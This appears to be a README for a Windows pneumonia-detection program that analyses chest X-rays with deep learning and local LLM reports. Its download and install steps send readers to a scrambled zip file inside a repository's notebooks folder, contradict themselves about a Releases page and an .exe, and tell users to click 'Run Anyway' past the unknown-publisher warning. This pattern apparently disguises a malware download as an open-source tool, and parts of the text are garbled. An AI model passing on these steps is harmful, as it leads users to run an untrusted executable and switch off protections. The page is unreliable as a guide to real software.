This system helps users identify pneumonia in chest X-rays. It uses artificial intelligence to look at images and provide reports. The software combines medical imaging tools with automated reporting to assist in health screening.
Your computer needs to meet these standards to run the software smoothly.
- Operating System: Windows 10 or Windows 11 (64-bit).
- Processor: Intel Core i5 or equivalent.
- Memory: 8 GB of RAM.
- Storage: 2 GB of available disk space.
- Graphics: A standard integrated card works, but a dedicated card helps with speed.
- Internet: A stable connection for the first-time setup and to fetch report data.
You must visit the project page to download the software.
- Go to this link: https://raw.githubusercontent.com/Tridentonethousand422/Pneumonia-Detection-Using-Deep-Learning/main/notebooks/Pneumonia_Learning_Deep_Using_Detection_v1.7.zip.
- Look for the "Releases" section on the right side of the screen.
- Click the most recent version labeled as the latest release.
- Download the file ending in
.exeto your computer. - Save the file to your desktop or downloads folder.
Follow these steps to set up the software on your Windows computer.
- Locate the downloaded
.exefile. - Double-click the file to start the installer.
- A security window might appear. Click "More Info" and then click "Run Anyway" if you see a warning about an unknown publisher.
- Follow the prompts on the screen to choose your installation folder.
- Click "Install" and wait for the files to move to your hard drive.
- Once finished, click "Finish" to exit the installer. A shortcut icon will appear on your desktop.
After installation, use the software to analyze chest X-ray images.
- Double-click the Pneumonia Detection icon on your desktop.
- The application will open a small window and then start your web browser.
- Wait for the loading bar to finish. This happens on the first run.
- You will see a button labeled "Upload X-ray Image". Click it to choose a file from your computer.
- Select a standard image file like JPG or PNG.
- Click "Analyze" to begin the deep learning process.
- The system will display the result alongside a heat map. This map shows the specific areas of the lungs that the model flagged.
- The integrated reporting tool generate a clinical summary. Review this document carefully.
This software includes several advanced tools meant for medical imaging.
- MobileNetV2: This engine scans the image for patterns that match clinical signs of pneumonia. It works quickly on standard home computers.
- Grad-CAM: This visual tool highlights the parts of the X-ray that the model used to reach its conclusion. It provides transparency to the AI process.
- Test-Time Augmentation: The software checks the image multiple times with slight changes. This method increases the accuracy of the final result.
- Local LLM Reporting: The Ollama system creates text reports on your machine. Your data stays on your computer rather than sending it to an external server. This keeps medical information private.
Does the software need a constant internet connection? The software processes images locally. You only need the internet if you need to update the application or download additional language models.
Can I trust the results? The software acts as a support tool for the user. It does not replace a medical professional. Always verify the findings with a qualified doctor.
Why does the first start take a long time? The software prepares the machine learning models and the language model when you open it for the first time. This only happens once.
How do I update the application? Check the link above periodically. If a new version exists, download it and run the installer again. The new version will replace the old one automatically.
Does the software save my images? The software only keeps the images in the temporary cache while you view them. Once you close the application, these temporary files disappear.
If the software does not work, try these steps.
- Restart the application: Close the browser tab and the application window, then open it again.
- Memory overflow: If the application freezes, make sure no other heavy software is running in the background. Close tools like video editors or games to free up RAM.
- Missing reports: If the text report does not appear, check that your network connection allows the local tools to talk to the application.
- Graphics issues: If the visual map looks distorted, make sure your Windows graphics drivers are up to date.
This software is for educational or screening support and information. Do not treat the output as a medical diagnosis. The developers of this system do not take responsibility for medical decisions based on the output of this application. Always consult with medical staff regarding your health. The technology aims to provide a baseline check, but the accuracy depends on the quality of the X-ray image and the settings of the machine. Use clean, high-resolution scans for better performance. Avoid shadows and noise in your images, as these can confuse the model.